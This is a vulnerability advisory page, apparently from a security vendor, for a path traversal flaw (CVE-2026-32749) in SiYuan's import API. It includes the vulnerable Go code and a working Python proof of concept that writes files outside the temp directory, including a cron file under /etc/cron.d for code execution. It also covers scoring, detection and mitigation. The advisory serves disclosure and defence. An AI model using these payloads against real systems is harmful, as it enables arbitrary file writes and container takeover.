CVE-2026-32749 is a high-severity (CVSS 7.6) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32749.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32749 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
Details
File: kernel/api/import.go - functions importSY and importZipMd
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-32749 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32749 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32749. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32749 in your dependencies?
O3 Security finds CVE-2026-32749 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.